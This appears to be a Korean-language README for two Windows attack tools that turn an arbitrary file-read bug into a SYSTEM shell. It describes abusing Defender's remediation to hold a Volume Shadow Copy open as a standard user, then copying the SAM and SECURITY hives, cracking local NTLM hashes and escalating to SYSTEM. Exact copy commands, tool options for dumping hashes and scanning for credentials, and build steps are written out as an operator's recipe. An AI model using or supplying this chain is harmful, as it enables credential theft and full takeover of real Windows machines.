
테스트
Windows에서 임의 파일 읽기 버그를 SYSTEM 셸로 전환하는 두 개의 작은 도구입니다.
vss_freeze/ — 표준 사용자로 Volume Shadow Copy를 생성하고, SAM/SECURITY/SYSTEM 하이브를 읽을 시간을 벌기 위해 해당 복사본을 열린 상태로 유지합니다.fr2system/ — 복사한 하이브를 가져와 오프라인에서 로컬 NTLM 해시를 해독하고 SYSTEM 셸을 띄웁니다.SYSTEM으로 실행되는 모든 arb-file-read 프리미티브(또는 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...에서 읽을 수 있는 모든 것)와 함께, 이는 기본 Win10/Win11 시스템에서 완전한 표준 사용자 → SYSTEM 체인입니다.
이것은 BlueHammer에서 추출되었습니다. — 감시 중인 경로에 EICAR 파일을 떨어뜨리면 Defender가 복구 흐름의 일부로 Volume Shadow Copy를 생성한다는 사실을 발견한 Win Defender 악용 연구입니다. Defender의 로드 경로에 RstrtMgr.dll 배치 oplock을 유지하여 Defender가 복구 시작 시 정지 상태를 유지하도록 했으며, 이로 인해 VSS가 필요한 만큼 유지됩니다.
원래는 그 위에 Stage 2 cldflt 동결이 있었지만, cldflt는 Win11 24H2에서 OneDrive 이외의 동기화 공급자를 거부합니다 (CfRegisterSyncRoot가 0x80070057 반환). Stage 1 oplock을 열린 상태로 유지하는 것만으로 충분하다는 것이 밝혀졌습니다 — Defender는 일시 중지 상태를 유지하고, VSS는 활성 상태를 유지하며, Cloud Files API가 전혀 필요하지 않습니다.
[ vss_simple_freeze.exe ] → [ your arb-read PoC ] → [ fr2system.exe ]
creates VSS as std user reads SAM/SECURITY cracks NTLM, pops SYSTEM
holds it via oplock out of the VSS path shell
vss_simple_freeze.exe --hold 120를 실행합니다. VSS 경로(예: \Device\HarddiskVolumeShadowCopy7)를 출력합니다.\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SECURITYC:\Windows\Temp\fileread\SAM 및 C:\Windows\Temp\fileread\SECURITY로 저장합니다.fr2system.exe를 실행합니다. SYSTEM 셸이 나타납니다.단순히 체인이 시스템에서 종단 간 작동하는지 확인하려면, 관리자 cmd로 arb-read 단계를 모방하세요:
:: Window 1 - std user
vss_simple_freeze.exe --hold 300
:: Window 2 - admin cmd (simulating the arb-read primitive)
mkdir C:\Windows\Temp\fileread
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SAM" C:\Windows\Temp\fileread\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SECURITY" C:\Windows\Temp\fileread\SECURITY
:: Window 3 - std user again
fr2system.exe
(7을 vss_simple_freeze가 출력한 숫자로 바꾸세요.)
vss_simple_freeze.exe [options]
--hold N Auto-release after N seconds (default: wait for Enter)
--auto Non-interactive, hold up to 600s
--publish FILE Write VSS path to FILE (default: %TEMP%\vss_current.txt)
--no-publish Don't write VSS path anywhere
--event NAME Release when named event Local\NAME is signaled
--quiet Suppress per-second liveness output
--help Show help
Examples:
vss_simple_freeze.exe # interactive, Enter to release
vss_simple_freeze.exe --hold 120 # auto-release after 2 min
vss_simple_freeze.exe --event lpe_done --hold 300 # release on signal or 5 min
fr2system.exe [options]
(none) Default - read SAM/SECURITY from C:\Windows\Temp\fileread, escalate to SYSTEM
--dump Dump NTLM hashes only, don't escalate
--scan Scan for alternative credential sources
--path DIR Use a different input directory
--help Show help
Examples:
fr2system.exe
fr2system.exe --dump
fr2system.exe --path C:\lab\hives
fr2system.exe는 입력 디렉터리에 적어도 SAM이 있기를 기대합니다. SECURITY는 선택 사항입니다 (LSA 시크릿 / DPAPI 키에 사용됨).
두 프로젝트 모두 MSVC(정적 CRT, x64)를 사용합니다.
cd vss_freeze
build_vss_simple_freeze.bat
cd fr2system
msbuild fr2system.sln /p:Configuration=Release /p:Platform=x64
VSS 생성:

fr2system → SYSTEM 셸:
